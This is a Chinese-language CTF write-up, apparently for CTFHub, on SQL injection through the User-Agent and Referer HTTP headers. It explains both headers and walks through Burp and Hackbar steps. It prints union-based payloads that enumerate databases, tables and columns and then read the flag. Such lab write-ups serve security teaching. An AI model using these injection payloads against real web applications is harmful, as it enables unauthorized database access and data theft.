UA注入
Refer注入
UA注入
UA是什麼?UA也稱User-Agent,當使用者發起一個請求時,網站會通過判斷 UA的資料,如(名稱,版本,浏覽器核心,核心版本)等等,來給不同的作業系統,不同的浏覽器發送不同的頁面
一般來說,普通的 SQL 注入是對 URL 及參數進行的,但這裡攻擊者卻将 SQL 查詢語句隐藏在了 HTTP 頭部的User-Agent字段之中 ,也稱UA注入
查詢中用到的參數:
column_name:列的名稱
Information_schema.columns:表示所有的列的資訊
Information_schema:表示所有資訊,包括庫、表、列
Information_schema.tables:表示所有的表的資訊
table_schema:資料庫的名稱
table_name:表的名稱
前面題目提示我們select * from Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0,用bp抓住重新整理題目頁面時候的包,嘗試在User-Agent進行注入

在不确定是否能符合注入的條件,先在User-Agent的後面輸入id=1,要讓可控參數影響頁面的顯示結果
能成功回顯,能符合sql的條件,我們嘗試能否回顯資料庫
能成功查詢到一個叫sqli的資料庫,或者用下面的指令查詢所有的資料庫
id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
#查詢所有資料庫
開始查詢表的名字,手法和整數型類似
查詢出兩個表,fihxgqkvak和news,用fihxgqkvak查詢字段内容
查找到flag,第一次查詢到flag的時候,flag答案報錯,用同樣的方式再查一遍,flag又報對了???迷惑的我,迷惑的ctfhub
Refer注入
referer是什麼?
Reffer是HTTP請求header的一部分,當浏覽器向web 伺服器發送請求的時候,頭資訊裡就有包含,比如在www.Firefox.com 裡有一個www.baidu.com連結,那麼點選這個連結 ,它的header資訊裡就會看見有:referer=http://www.Firefox.com,說明是被引用過來的
我們抓住了這個重新整理的頁面,但是并沒有找到referer,和referer的内容,原因是我們通過url直接通路圖檔等等資源的時候,并不會出現referer,所有我們可以通過Hackbar,創造一個post請求
再次重放
找到了referer和後面的URL,根據題目要求,我們嘗試在referer後面進行SQL注入
頁面給出了相對應的回顯,然後進行爆庫爆表爆字段爆字段内容
id=1 and 1=2 union select 1,database()
爆表
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
爆字段
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='rapshhmepv'
檢視flag
id=1 and 1=2 union select 1,group_concat(clnunqanuf) from sqli.rapshhmepv